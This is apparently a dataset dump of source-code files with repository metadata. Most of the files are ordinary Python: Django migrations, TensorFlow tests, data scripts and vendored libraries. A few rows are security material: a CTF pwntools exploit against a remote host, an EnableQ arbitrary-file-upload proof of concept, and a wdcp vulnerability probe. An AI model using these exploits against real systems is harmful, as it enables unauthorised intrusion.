blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
2355d881f34c0c2f4732ca8e036b6929a66a23ef
914aa18d6420b9b920e2a20df238302f891f79f1
/arda_db/browser/migrations/0026_auto_20150422_1032.py
a135283cb1fba4231de8554d44cf9258057ef8a9
[ "MIT" ]
permissive
rwspicer/ARDA
2152405c911afacad14dd1478b040f5af9246ba2
9bd98786feff4afbd45afdf3f3f1c2549f6356cf
refs/heads/master
2016-08-05T10:08:13.719344
2015-05-01T00:56:27
2015-05-01T00:56:27
30,052,617
5
0
null
null
null
null
UTF-8
Python
false
false
885
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('browser', '0025_auto_20150422_0958'), ] operations = [ migrations.AlterField( model_name='rlibrary', ...
[ "rwspicer@alaska.edu" ]
rwspicer@alaska.edu
fdaa9958c1db7acfca7016877bdfcc4a501fae5c
2f564cb0b358d00387287fb62fec78b51c806771
/Tag11/dozent_projekt2_2.py
f8b6b362388a3e800fc5c05878e3b3e4da29872b
[]
no_license
anna-s-dotcom/python_alles
b736422f842995fc8731378ffa79ae4a9ffbe543
a36c8aea20444b98e5676ea6cf73824453e76c85
refs/heads/master
2020-12-30T06:01:26.684038
2020-02-07T09:34:28
2020-02-07T09:34:28
238,884,852
0
0
null
null
null
null
UTF-8
Python
false
false
1,461
py
import pandas as pd with open('EU2014_BE_EndgErg_Wahlbezirke.csv') as file: print(file) codec = file.encoding cols14 = ['WbezirksName', 'CDU', 'SPD', 'GRÜNE'] cols19 = ['Adresse', 'CDU', 'SPD', 'GRÜNE'] df2014 = pd.read_csv('EU2014_BE_EndgErg_Wahlbezirke.csv', encoding = codec, ...
[ "noreply@github.com" ]
anna-s-dotcom.noreply@github.com
874fa3ca559f2c40ad8cc644dff21b7b95f8e113
0f3a0be642cd6a2dd792c548cf7212176761e9b1
/zoo_services/r_quant.py
921ca91d0ab3e32f1f20b9964aab0268989f5f96
[]
no_license
huhabla/wps-grass-bridge
63a5d60735d372e295ec6adabe527eec9e72635a
aefdf1516a7517b1b745ec72e2d2481a78e10017
refs/heads/master
2021-01-10T10:10:34.246497
2014-01-22T23:40:58
2014-01-22T23:40:58
53,005,463
0
0
null
null
null
null
UTF-8
Python
false
false
335
py
##################################################### # This service was generated using wps-grass-bridge # ##################################################### import ZOOGrassModuleStarter as zoo def r_quant(m, inputs, outputs): service = zoo.ZOOGrassModuleStarter() service.fromMaps("r.quant", inputs, outputs...
[ "soerengebbert@23da3d23-e2f9-862c-be8f-f61c6c06f202" ]
soerengebbert@23da3d23-e2f9-862c-be8f-f61c6c06f202
ae5947b28dec115479830ae29afd18ebc32c7e22
f47863b3a595cbe7ec1c02040e7214481e4f078a
/plugins/scan/wdcp/167.py
bd1da6017ce37455e7700763703fafe9d4907334
[]
no_license
gobiggo/0bscan
fe020b8f6f325292bda2b1fec25e3c49a431f373
281cf7c5c2181907e6863adde27bd3977b4a3474
refs/heads/master
2020-04-10T20:33:55.008835
2018-11-17T10:05:41
2018-11-17T10:05:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
#Referer: http://www.securityfocus.com/archive/1/534437 def assign(service, arg): if service == "wdcp": return True, arg def audit(args): payload = 'mysql/add_user.php' verify_url = args + payload code, head, content, errcode,finalurl = curl.curl(verify_url) if code==200 and 'localhost' in ...
[ "zer0i3@aliyun.com" ]
zer0i3@aliyun.com
5c80e371a25d3fd6b5d22d0b4a7ab23cd0935237
7d2f933ed3c54e128ecaec3a771817c4260a8458
/venv/Lib/site-packages/pip/_vendor/html5lib/serializer.py
81d58b245847ccbf7afcccb74cf0af8cb1012ee7
[]
no_license
danielmoreira12/BAProject
c61dfb1d0521eb5a28eef9531a00e744bfb0e26a
859f588305d826a35cc8f7d64c432f54a0a2e031
refs/heads/master
2021-01-02T07:17:39.267278
2020-02-25T22:27:43
2020-02-25T22:27:43
239,541,177
0
0
null
null
null
null
UTF-8
Python
false
false
15,757
py
from __future__ import absolute_import, division, unicode_literals import re from codecs import register_error, xmlcharrefreplace_errors from pip._vendor.six import text_type from xml.sax.saxutils import escape from . import treewalkers, _utils from .constants import rcdataElements, entities, xmlEntities from .consta...
[ "danielmoreira12@github.com" ]
danielmoreira12@github.com
18b9a0b08fc6f3640ffb5be316121465654299dd
13f4a06cd439f579e34bf38406a9d5647fe7a0f3
/script/try_python/try_Django/helloworld/pages/urls.py
59a86d03a775a770128e079590cbc606291121cb
[]
no_license
edt-yxz-zzd/python3_src
43d6c2a8ef2a618f750b59e207a2806132076526
41f3a506feffb5f33d4559e5b69717d9bb6303c9
refs/heads/master
2023-05-12T01:46:28.198286
2023-05-01T13:46:32
2023-05-01T13:46:32
143,530,977
2
2
null
null
null
null
UTF-8
Python
false
false
202
py
# pages/urls.py from django.urls import path from . import views urlpatterns = [ # regular expression of path: '' # an optional url name: 'home' path('', views.homePageView, name='home') ]
[ "wuming_zher@zoho.com.cn" ]
wuming_zher@zoho.com.cn
9a6780dd43e8e8bc277d7cd97c78f3a0b8a3c033
e60a342f322273d3db5f4ab66f0e1ffffe39de29
/parts/zodiac/chameleon/interfaces.py
a4ce9ed7b5d5a9c0d5b9aa4004ca1c5415be98f6
[]
no_license
Xoting/GAExotZodiac
6b1b1f5356a4a4732da4c122db0f60b3f08ff6c1
f60b2b77b47f6181752a98399f6724b1cb47ddaf
refs/heads/master
2021-01-15T21:45:20.494358
2014-01-13T15:29:22
2014-01-13T15:29:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
77
py
/home/alex/myenv/zodiac/eggs/Chameleon-2.13-py2.7.egg/chameleon/interfaces.py
[ "alex.palacioslopez@gmail.com" ]
alex.palacioslopez@gmail.com
3183c146bc2bb4c8964991dcdcb8026a509b1d5e
eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7
/google/cloud/gaming/v1beta/gaming-v1beta-py/google/cloud/gaming_v1beta/services/game_server_configs_service/pagers.py
dc651ab737e7b1b69464cf324e8b0d27964ac8c3
[ "Apache-2.0" ]
permissive
Tryweirder/googleapis-gen
2e5daf46574c3af3d448f1177eaebe809100c346
45d8e9377379f9d1d4e166e80415a8c1737f284d
refs/heads/master
2023-04-05T06:30:04.726589
2021-04-13T23:35:20
2021-04-13T23:35:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,131
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com
adae1e88338dd1bbc45f87704aed5a39cb62a3b4
33300abc9da0dfecf538d78fa51b23a85d2ddb6f
/tensorflow/python/saved_model/load_test.py
0f7fba0c66ef87ae4e9869318b63886c5b646404
[ "Apache-2.0" ]
permissive
danilo-augusto/tensorflow
b8e9ef8ebd489a62eab31e41fcdf0070e42ad348
4c7452c8c9b632d7ad7232099637e6fe388c3dd2
refs/heads/master
2022-05-31T03:00:12.090962
2018-12-19T23:11:25
2018-12-20T03:43:38
162,523,290
1
0
Apache-2.0
2022-04-17T02:40:23
2018-12-20T03:45:42
C++
UTF-8
Python
false
false
7,775
py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
5f43eae02bad6a1ff86c9481554169d3de844a66
7194e972dfb2b7f0334e366bfa4b8bf0c578017e
/BsidesDelhictf2020/thanksforattending/exploit.py
41175edb1468bb3f5000575b925bf70f9319d0d1
[]
no_license
Darksidesfear/CTFarchives
a571b5c4580d4a62cc501fc2ed1d3c2f8c41e90f
8baa495dc758e0f56813ffa0d5a1190a21d0bb09
refs/heads/master
2023-01-09T04:41:59.693240
2020-11-14T12:39:16
2020-11-14T12:39:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
775
py
#exploit for thanksforattending #BSDCTF{3xpl0r1ng_th3_unkn0wn} from pwn import * import time elf = ELF("./chall") libc = ELF("./libc.so.6") ld = ELF("./ld-linux.so.2") context.binary=elf target=remote('13.233.104.112',2222) context.log_level='DEBUG' def sla(string,val): target.sendlineafter(string,val) def sa(string...
[ "arav1635@gmail.com" ]
arav1635@gmail.com
21ff2fade9bf04a8e6cfbb5544b7d85718b518d9
8ffa21848cfc7d1b1ac76d53fd181147dfd29953
/api-test/py-test/Part3_Python_CookBook/test_selfdef_exp.py
5795486fc1dae8aa22f6eeb68f11c1ed11564383
[]
no_license
un-knower/data-base
51cfefd91970073c61ccd2f5f7034ccc5d86a794
3274f828d326af8dbd7600530f4c0264a0bc7ba3
refs/heads/master
2020-04-02T16:35:05.287543
2018-09-24T11:34:03
2018-09-24T11:34:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,755
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Author: HuHao <huhao1@cmcm.com> Date: '2018/7/21' Info: 自定义异常类应该总是继承自内置的 Exception 类, 或者是继承自那些本身就是从 Exception 继承而来的类。 尽管所有类同时也继承自 BaseException ,但你不应该使用这个基类来定义新的异常。 BaseException 是为系统退出异常而保留的, 比如 KeyboardInterrupt 或 SystemExit 以及其他那些会给应用发送信号而退出的...
[ "huhao1@cmcm.com" ]
huhao1@cmcm.com
cd9ff35e22a5ef807d3bd91348b03c240a03531e
1ac304bb90a6635b2723455c043811c4f0fdfdf8
/python/mead/tf/preprocessor.py
c08f2d6e89eb66b45539ae187b2a905c3c3d0f47
[ "Apache-2.0" ]
permissive
harutatsuakiyama/baseline
36882463638989c376121006d34e369007830f00
3aad1addfedad3b2ce2c78bab95855c0d41a5c93
refs/heads/master
2023-07-23T22:57:43.320828
2018-07-03T14:16:22
2018-07-03T14:16:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,645
py
import tensorflow as tf class PreprocessorCreator(object): def __init__(self, indices, lchars, upchars_lut, task, token_key, extra_feats): """ indices are created during vocab creation. """ self.word2index = indices['word'] self.char2index = indices.get('char') self....
[ "dpressel@gmail.com" ]
dpressel@gmail.com
37a9955dafd0fc6d44b7e96543830a76e22fb9f9
3cdd50dc60a4e7cbba204403aa6a9689d58738a8
/scripts/video2animeframes.py
6b4428fbbb6d2ec18aca17a2a278889907fe6446
[]
no_license
w13ww/AnimeGANv2_pytorch
ea6df68d34ad7012517222b1c61290d27fef2118
45885494e99eb46a914f24a6880aad40d6bee84a
refs/heads/main
2023-06-03T09:30:39.045119
2021-06-27T07:15:18
2021-06-27T07:15:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,130
py
# coding: utf-8 # Author: wanhui0729@gmail.com import os, sys project_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.append(project_path) import cv2 import torch import argparse import numpy as np from tqdm import tqdm from PIL import Image from animeganv2.configs import cfg from animeganv...
[ "13658247573@163.com" ]
13658247573@163.com
a7c9d2040e34714663b164649c5ae5c4b4873876
c88647bf9337918c29d6f96f6db5a0bfdfc1cd9a
/nas_big_data/search/agebov3.py
d0b6be66169d19a304eeea265fb3f10c4ba462b9
[ "BSD-2-Clause" ]
permissive
deephyper/NASBigData
89c81c391b0360c839689fec0ed04039ebb51705
18f083a402b80b1d006eada00db7287ff1802592
refs/heads/master
2023-04-16T00:05:35.965384
2021-06-03T13:01:33
2021-06-03T13:01:33
279,793,726
5
2
null
null
null
null
UTF-8
Python
false
false
9,941
py
import collections import json import os import copy import numpy as np from skopt import Optimizer as SkOptimizer from skopt.learning import RandomForestRegressor from deephyper.core.logs.logging import JsonMessage as jm from deephyper.core.parser import add_arguments_from_signature from deephyper.evaluator.evaluate...
[ "romainegele@gmail.com" ]
romainegele@gmail.com
93588fbdc90eb41278a4ea6c88b24176f50fec7d
43ff15a7989576712d0e51f0ed32e3a4510273c0
/tools/pocs/bugscan/exp_1672.py
60046495bc3b154b90d6fe925db050e888d2a320
[]
no_license
v1cker/kekescan
f2b51d91a9d6496e2cdc767eb6a600171f513449
3daa1775648439ba9e0003a376f90b601820290e
refs/heads/master
2020-09-19T16:26:56.522453
2017-06-15T02:55:24
2017-06-15T02:55:24
94,495,007
6
3
null
null
null
null
UTF-8
Python
false
false
1,784
py
# -*- coding: utf-8 -*- from dummy import * from miniCurl import Curl curl = Curl() #-*- encoding:utf-8 -*- # Title EnableQ官方免费版任意文件上传 # Referer http://www.wooyun.org/bugs/wooyun-2010-0128219 def assign(service, arg): if service == "enableq": return True, arg def audit(arg): raw = """PO...
[ "liyueke@huobi.com" ]
liyueke@huobi.com
e1ef348edf0b502bc60a1db5bcc1ec87914047ab
60d737103373825b858e67292865bda8c6f2094f
/active/ieee_picker.py
365e7c5efc90e338a2f4d230b93c5f08faf084fa
[]
no_license
fschwenn/ejlmod
fbf4692b857f9f056f9105a7f616a256725f03b6
ef17512c2e44baa0164fdc6abc997c70ed3d2a74
refs/heads/master
2023-01-24T18:56:35.581517
2023-01-20T11:18:16
2023-01-20T11:18:16
91,459,496
1
1
null
2021-10-04T11:58:15
2017-05-16T13:06:57
Python
UTF-8
Python
false
false
6,203
py
# -*- coding: utf-8 -*- #program to harvest individual IEEE articles bei DOIs #FS: 2018-01-26 import getopt import sys import os import urllib2 import urlparse from bs4 import BeautifulSoup import re import ejlmod2 import codecs import time import datetime import json xmldir = '/afs/desy.de/user/l/library/inspire/ejl...
[ "florian.schwennsen@desy.de" ]
florian.schwennsen@desy.de
59c077a63d563e4e4f1ae1c02b2bb9e3d7f9a62f
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_200/3922.py
6c513e10347dca58684665070d3a5aafe553781e
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,226
py
# from __future__ import print_function import os import sys def smallest_tidy_n(n_str): # for the single digit special case if len(n_str) == 1: return n_str # special case: identical digits if n_str == n_str[0] * len(n_str): return n_str # for the special case of something like: # 110, 10...
[ "miliar1732@gmail.com" ]
miliar1732@gmail.com
1eb0b5f131b64d53530596a02965c641b07e642a
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Games/Conqueror of Empires/project/data.py
fc8e7a76d51033fe317d3e9b0cdd065b3b283cfc
[]
no_license
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
128
py
version https://git-lfs.github.com/spec/v1 oid sha256:2e685fd55394e2b706aae52098bf791f45158fbc6e6ccb10becc4caa7efc16c4 size 413
[ "nateweiler84@gmail.com" ]
nateweiler84@gmail.com
1cf125c2a540017320395c8cdd6a233922f6dcd9
034fff9750485929ef91c8ab8eb2a5a3b5f26c4a
/books/Python程式設計實務_第2版_博碩/書中附檔/9-5.py
e0dc05aca9638db40095fa87d6e628c10f307a64
[]
no_license
sakanamax/LearnPython
c0dcaf26525e2c1420ae2f61924306f5137b4f20
2d042c90ea380d2b8b64421679ad576cbbbc6b9e
refs/heads/master
2021-01-13T17:27:47.394548
2020-03-01T13:44:00
2020-03-01T13:44:00
42,424,888
1
1
null
null
null
null
UTF-8
Python
false
false
446
py
# -*- coding: utf-8 -*- # 程式 9-5 (Python 3 version) from bs4 import BeautifulSoup import requests import sys if len(sys.argv) < 2: print("用法:python 9-5.py <<target url>>") exit(1) url = sys.argv[1] html = requests.get(url).text sp = BeautifulSoup(html, 'html.parser') all_links = sp.find_all('a') ...
[ "sakana@cycu.org.tw" ]
sakana@cycu.org.tw
74c990030b5828f5aba33b0c759abf7fce25038a
42dd79c614b775e6e8e782ea7ab332aef44251b9
/extra_apps/xadmin/migrations/0002_log.py
2d0b47edefe861fd85eb8ca97914c891c8bb06a0
[]
no_license
Annihilater/imooc
114575638f251a0050a0240d5a25fc69ef07d9ea
547046cff32ce413b0a4e21714cb9ab9ce19bc49
refs/heads/master
2020-05-03T09:06:18.247371
2019-12-04T09:24:55
2019-12-04T09:24:55
178,545,115
0
0
null
null
null
null
UTF-8
Python
false
false
2,877
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-15 05:50 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ...
[ "yanmiexingkong@gmail.com" ]
yanmiexingkong@gmail.com
b33c0fd4e7e3d7f166a592e2a5141660b8ea686b
d7016f69993570a1c55974582cda899ff70907ec
/sdk/resources/azure-mgmt-resource/azure/mgmt/resource/features/v2015_12_01/aio/_feature_client.py
403e09981f0530df35255da9d45c697c70fd4f82
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
kurtzeborn/azure-sdk-for-python
51ca636ad26ca51bc0c9e6865332781787e6f882
b23e71b289c71f179b9cf9b8c75b1922833a542a
refs/heads/main
2023-03-21T14:19:50.299852
2023-02-15T13:30:47
2023-02-15T13:30:47
157,927,277
0
0
MIT
2022-07-19T08:05:23
2018-11-16T22:15:30
Python
UTF-8
Python
false
false
4,376
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
kurtzeborn.noreply@github.com
62a47856e123b77ea1d9154672240f5a843588cc
2bfa2e8d2e744e28141a5c5c79119f2f97e853c9
/openvino_training_extensions_simple/pytorch_toolkit/nncf/tests/sparsity/const/test_algo.py
4aef6b32e0da6caa76a310038f2cd0bd645185ea
[ "Apache-2.0" ]
permissive
maxenergy/CPP_2020520
bed4c2fba0dc96c60b6bb20157d11003b00c6067
8453b4426dcb044251eaed38d01ba07557348113
refs/heads/master
2023-05-17T05:18:32.703231
2021-01-24T15:14:01
2021-01-24T15:14:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,980
py
""" Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writin...
[ "yuanyupeng-1989@163.com" ]
yuanyupeng-1989@163.com
e0bd123e809bccda8767fea818f6e921d213287d
5de55e32a40a96287d5e10e93ac1e29fbe89628e
/docs/conf.py
531520920d0bf334ba30a5baeda4858c27e4ac59
[ "MIT" ]
permissive
kukupigs/graphviz
b71600fcda2474c508ca8a95c323385b6d814f83
bb1af2e4eb0a3f47ae6193b1aa3dae319ec7c2bf
refs/heads/master
2023-04-30T02:44:23.616509
2021-05-15T13:01:07
2021-05-15T13:01:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,862
py
# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/master/config # -- Path setup ------------------------------------------------------------...
[ "sebastian.bank@uni-leipzig.de" ]
sebastian.bank@uni-leipzig.de
d6e6aa275b5933279375629fc50b65f54b108278
da6082484abe8d790a08f8df383f5ae8d4a8ba6b
/last_fm/celery.py
3a4de1f07536d46dde8cfa2ee00731c665a3d4ee
[]
no_license
themylogin/last.fm.thelogin.ru
6d4e65eb62df4866616ccd42769194a46e4fd5b9
69dbe3b287be5e4a2eda1412a0ecd035bcaa3508
refs/heads/master
2022-11-27T16:58:56.804614
2021-03-25T12:57:48
2021-03-25T12:57:48
16,201,329
1
1
null
2022-11-22T01:08:32
2014-01-24T10:17:13
Python
UTF-8
Python
false
false
317
py
# -*- coding=utf-8 -*- from __future__ import absolute_import, division, unicode_literals from themyutils.celery.beat import Cron from themyutils.flask.celery import make_celery from last_fm.app import app from last_fm.db import db __all__ = [b"celery", b"cron"] celery = make_celery(app, db) cron = Cron(celery)
[ "themylogin@gmail.com" ]
themylogin@gmail.com
df9c19801ac4742d19bc68b65b1accd5590e6572
0fe394b10b39864915fcc4073a5fa050aa02502e
/SeriesOfMatplotlib/plot/american_womens_bachelor_degree_plot.py
1c035d41bd5910d64ac69ef06d1ee06493b0df28
[]
no_license
JohnAssebe/Python
9997d47bba4a056fdcd74c6e5207fc52b002cbfd
b88a7c2472f245dc6a0e8900bbea490cb0e0beda
refs/heads/master
2022-05-14T10:08:37.311345
2022-05-09T19:48:53
2022-05-09T19:48:53
212,562,910
0
1
null
null
null
null
UTF-8
Python
false
false
837
py
''' @Author:Yohannes Assebe(John Assebe github) ''' import pandas as pd import random as ra from matplotlib import pyplot as plt plt.style.use('ggplot') df=pd.read_csv('../percent_bachelors_degrees_women_usa.csv') year=df['Year'] fields=[] cols=df.columns.values colors=['black','#521222','#155888','yellow','...
[ "noreply@github.com" ]
JohnAssebe.noreply@github.com
5f43eec0bd28a8fb8303514f2dfbc97dc5c91be7
34cb2555a5884f065a0e7b2dc7f8b075564e67e1
/account_invoice_margin/__manifest__.py
bb1418139039ee9f1f80bbda1a2fe11aa98aa675
[]
no_license
valenciaricardos/odoo-usability
4a944bb06b8fdc7058c2bdf21e36ed0784f2e088
a32d091d837449225ae26c3be387b97c5310a457
refs/heads/10.0
2021-07-08T15:29:58.661172
2017-09-14T17:54:08
2017-09-14T17:54:08
106,070,984
0
1
null
2017-10-07T04:19:55
2017-10-07T04:19:55
null
UTF-8
Python
false
false
1,723
py
# -*- encoding: utf-8 -*- ############################################################################## # # Account Invoice Margin module for Odoo # Copyright (C) 2015 Akretion (http://www.akretion.com) # @author Alexis de Lattre <alexis.delattre@akretion.com> # # This program is free software: you can red...
[ "alexis.delattre@akretion.com" ]
alexis.delattre@akretion.com
94d9210deda244836941983b492d85510b6f98ed
fb871dce626074d71978f48b4af124b975fe933b
/TXR120 activity code examples/driveForwards.py
86ad438d50b3a139f594573c2bf1fa5b2a722505
[]
no_license
psychemedia/ev3robotics
49e1b1b663f7f1946d9fb69a16228584d85016cc
c5190da5d215f9dda571535215e3177d196fa186
refs/heads/master
2021-01-17T20:32:20.494015
2017-09-21T12:03:03
2017-09-21T12:03:03
60,197,304
2
0
null
null
null
null
UTF-8
Python
false
false
466
py
from ev3dev.auto import * from time import sleep #Configure motors LEFT_MOTOR = LargeMotor(OUTPUT_A) RIGHT_MOTOR = LargeMotor(OUTPUT_B) #Turn motors on LEFT_MOTOR.run_forever(duty_cycle_sp=75) RIGHT_MOTOR.run_forever(duty_cycle_sp=75) #Drive for two seconds sleep(2) #Note: experiment with stop() commands via eg: s...
[ "tony.hirst@gmail.com" ]
tony.hirst@gmail.com
7926fb11f584701d5dd9444ea87f3b895be01672
a0879bb909d645d5e64a019234671e2c55cf88fd
/TEST/20201115 마이다스아잍/3-2.py
7f029928907bce5e15a0a911fa99d418565d8d23
[]
no_license
minseunghwang/algorithm
a6b94c2cbe0ac6a106e7aa8789321fae8a3d6964
e7d0125d5f8d65c94f3ce9140f840b33d28cc9da
refs/heads/master
2021-07-18T18:11:17.371674
2020-12-30T08:04:54
2020-12-30T08:04:54
227,807,992
0
0
null
null
null
null
UTF-8
Python
false
false
811
py
cookies = [1, 4, 2, 6, 5, 3] k = 2 combinations = [] queue = [] # 첫 데이터 생성 tmp = cookies[:] # deep copy while tmp: n = tmp.pop(0) queue.append([[n], tmp[:]]) # DFS while queue: print(queue) n = queue.pop() # [1/3] 꺼내 if n[1] == []: # [2/3] 목표냐? combinations.append(n[0]) contin...
[ "mins1011@hanmail.net" ]
mins1011@hanmail.net
f94aec95d3e660b28d7a0d10cf1f8d58fa644f2d
900a7285b2fc4d203717e09c88e8afe5bba9144f
/axonius_api_client/tests/tests_api/tests_system/test_users.py
c9ae601cf277f01332aad50b455a8b76509f9384
[ "MIT" ]
permissive
geransmith/axonius_api_client
5694eb60964141b3473d57e9a97929d4bff28110
09fd564d62f0ddf7aa44db14a509eaafaf0c930f
refs/heads/master
2022-11-23T01:43:52.205716
2020-06-12T14:15:38
2020-06-12T14:15:38
280,499,094
0
0
MIT
2020-07-17T18:35:48
2020-07-17T18:35:47
null
UTF-8
Python
false
false
2,914
py
# -*- coding: utf-8 -*- """Test suite.""" import pytest from axonius_api_client.exceptions import ApiError, NotFoundError from ...meta import TEST_USER @pytest.mark.skip("Waiting for update to 3.3!") # XXX update public API for roles/users class TestSystemUsers: """Pass.""" @pytest.fixture(scope="class") ...
[ "jimbosan@gmail.com" ]
jimbosan@gmail.com
e564564366bd44ba5c752ec4ee3b82ceaae09f0a
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-roma/huaweicloudsdkroma/v2/model/create_app_code_auto_v2_request.py
ea23fe5edb6f1eba5782ccd9696d32d010218d7b
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
3,846
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateAppCodeAutoV2Request: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is a...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
baf846c29d7abd610de1db8208469e9648543bcf
943cf86aca0eb23bd61a8705c05a9853d0a71c3d
/test_document_from_pubmed.py
15a285c0fe71666befe5ec12d05ab0e3c0909f67
[ "BSD-3-Clause" ]
permissive
rmatam/vivotools
91f60b19c5d797d39ffb6c20eeb0f1e8048fdd57
b60b36c5ac6c672a5af8b2a7d1a646bebd026026
refs/heads/master
2021-01-20T08:19:01.113299
2015-12-20T22:21:01
2015-12-20T22:21:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
876
py
""" test_document_from_pubmed.py -- use Entrez to retrive a document entry from Pubmed, and format it as a reusable python structure Version 0.1 MC 2013-12-28 -- Initial version. """ __author__ = "Michael Conlon" __copyright__ = "Copyright 2013, University of Florida" __license__ = "BSD 3-...
[ "mconlon@ufl.edu" ]
mconlon@ufl.edu
01249f147a2f8d1dcd5f70439aa9d68d55c997e4
bdda8da38c77194d2fceb29e31e9b564f015259d
/myapp/runScript/User.py
e3094939d9f61864940cf347bca1d74a732fd999
[]
no_license
Hanlen520/myproject
54f2b4c4a77af768ae278f44922cd42befab3b08
eb420d7686bd502b300aadd8ba28cb28f03935f5
refs/heads/master
2020-04-13T13:51:26.667841
2018-12-26T13:23:34
2018-12-26T13:23:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,310
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from myapp.serializers import Login1 from myapp.models import Login from rest_framework import generics, filters, viewsets, mixins from rest_framework.views import APIView import logging from rest_framework.response import Response from rest_framework impo...
[ "zhengxq@dxy.cn" ]
zhengxq@dxy.cn
128a8225ef5aa2c8a88217d582fb77e064710a23
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_1/gjdsuv001/question3.py
bc93359eb4e9fc41676816f51ca1c166ab26a3e0
[]
no_license
MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
UTF-8
Python
false
false
957
py
def message(): first_name = input("Enter first name:\n") last_name=input("Enter last name:\n") money=eval(input("Enter sum of money in USD:\n")) country=input("Enter country name:\n") print() print("Dearest",first_name,) print("It is with a heavy heart that I inform you of the death ...
[ "jarr2000@gmail.com" ]
jarr2000@gmail.com
704c36ab9cda3860edd3b1fc17cfd5f8c7febc2f
5a71ca1f5c964f803350e3c1238cb48986db565c
/coinlib/tests/utils/test_decorators.py
f309cff6a37f9cb9bc36bc92982bdf409a599424
[]
no_license
tetocode/coinliball
fd644cbc16039ecad7e43228ea4e287ead5c8e5f
41ebbac13c1fbba98aedaa766b9a505cb157f374
refs/heads/master
